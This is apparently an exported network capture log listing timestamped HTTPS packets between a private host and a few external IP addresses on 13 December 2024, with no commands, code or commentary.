Dec 13, 2024 08:34:33.523999929 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.531184912 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.531208038 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.531337023 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.531356096 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.531429052 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.537955999 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.537980080 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.538032055 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.538049936 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.538078070 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.538096905 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.544364929 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.544387102 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.544436932 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.544456005 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.544488907 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.544518948 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.550880909 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.550903082 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.550937891 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.550955057 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.550981045 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.550998926 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.556595087 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.556617975 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.556674004 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.556694031 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.556724072 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.556744099 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.562024117 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.562911987 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.562936068 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.562977076 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.563013077 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.563035011 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.563057899 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.568703890 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.568723917 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.568768978 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.568789005 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.568819046 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.568839073 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.574690104 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.574712038 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.574755907 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.574769974 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.574796915 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.574816942 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.580590010 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.580610037 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.580653906 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.580668926 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.580696106 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.580715895 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.585669041 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.585700989 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.585769892 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.585803032 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.585833073 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.585850954 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.591716051 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.591739893 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.591783047 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.591810942 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.591836929 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.591855049 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.596488953 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.596513033 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.596555948 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.596574068 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.596602917 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.596626997 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.601957083 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.601980925 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.602020979 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.602054119 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.602078915 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.602102041 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.621531963 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.621568918 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.621611118 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.621644974 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.621669054 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.621690035 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.669617891 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.726890087 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.726929903 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.726995945 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.727031946 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.727058887 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.727078915 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.729185104 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.729214907 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.729275942 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.729288101 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.729314089 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.729355097 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.731734991 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.731760025 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.731807947 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.731821060 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.731965065 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.731965065 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.733573914 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.733596087 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.733638048 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.733650923 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.733678102 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.733702898 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.736205101 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.736227989 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.736291885 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.736308098 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.736377954 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.738681078 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.738702059 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.738748074 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.738761902 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.738790989 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.738828897 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.740988016 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.741020918 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.741080046 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.741094112 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.741127014 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.741147995 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.812793016 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.812824965 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.812903881 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.812935114 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.812961102 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.812979937 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.853195906 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.919043064 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.919070005 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.919152975 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.919181108 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.919212103 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.919253111 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.921624899 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.921648979 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.921694994 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.921708107 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.921736956 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.921765089 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.924170017 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.924191952 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.924241066 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.924253941 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.924282074 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.924299955 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.925862074 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.925879955 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.925930023 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.925942898 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.925997972 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.925997972 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.928513050 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.928530931 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.928617001 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.928632975 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.928685904 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.930939913 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.930958033 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.931004047 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.931018114 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.931044102 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.931061029 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.933207989 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.933227062 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.933291912 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.933305979 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:33.933357954 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:33.989523888 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.004756927 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.004776001 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.004858017 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.004873991 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.004937887 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.110816956 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.110836029 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.110908031 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.110981941 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.111017942 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.111042023 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.113383055 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.113404036 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.113442898 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.113457918 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.113485098 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.113502979 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.115864038 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.115880013 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.115933895 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.115947008 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.115999937 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.116094112 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.117597103 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.117638111 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.117660046 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.117671013 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.117692947 CET	443	49705	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:34.117697001 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.117738962 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.121740103 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:34.224984884 CET	49705	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:35.550790071 CET	443	49703	23.1.237.91	192.168.2.5
Dec 13, 2024 08:34:35.550901890 CET	49703	443	192.168.2.5	23.1.237.91
Dec 13, 2024 08:34:37.123539925 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:37.123585939 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:37.123652935 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:37.126651049 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:37.126665115 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:38.709316015 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:38.711287975 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:38.711287975 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:38.711328030 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:38.711649895 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:38.717570066 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:38.759351015 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:39.623101950 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:39.623682022 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:39.623774052 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:39.623784065 CET	443	49706	20.233.83.145	192.168.2.5
Dec 13, 2024 08:34:39.623836040 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:39.630625963 CET	49706	443	192.168.2.5	20.233.83.145
Dec 13, 2024 08:34:39.633224964 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:39.633315086 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:39.633408070 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:39.633666992 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:39.633721113 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:40.846468925 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:40.846673965 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:40.848112106 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:40.848171949 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:40.848548889 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:40.849400997 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:40.891366005 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.315371037 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.315573931 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.315670013 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.315676928 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.315706968 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.315767050 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.315781116 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.332030058 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.332118988 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.332241058 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.332308054 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.332391024 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.336160898 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.344582081 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.344650030 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.344667912 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.393297911 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.435199022 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.489428997 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.489492893 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.507412910 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.507622957 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.507688999 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.511377096 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.511445999 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.511464119 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.527158022 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.527264118 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.527276993 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.535245895 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.535307884 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.535351038 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.543299913 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.543366909 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.543380022 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.551471949 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.551532984 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.551547050 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.559477091 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.559545994 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.559559107 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.567636013 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.567699909 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.567714930 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.575731993 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.575797081 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.575809956 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.588392973 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.588480949 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.588494062 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.594873905 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.594949961 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.594961882 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.601326942 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.601388931 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.601402998 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.649297953 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.716903925 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.716936111 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.716952085 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.716999054 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.717005014 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.717019081 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.717046976 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.717055082 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.717070103 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.717091084 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.717117071 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.746582031 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.746603012 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.746643066 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.746663094 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.746669054 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.746737957 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.746738911 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.746773958 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.746840954 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.770698071 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.770741940 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.770788908 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.770858049 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.770896912 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.770920992 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.795084000 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.795130968 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.795165062 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.795196056 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.795217991 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.795243979 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.904994011 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.905050039 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.905119896 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.905196905 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.905240059 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.905268908 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.922421932 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.922471046 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.922640085 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.922641039 CET	49707	443	192.168.2.5	185.199.111.133
Dec 13, 2024 08:34:41.922708035 CET	443	49707	185.199.111.133	192.168.2.5
Dec 13, 2024 08:34:41.922780991 CET	49707	443	192.168.2.5	185.199.111.133
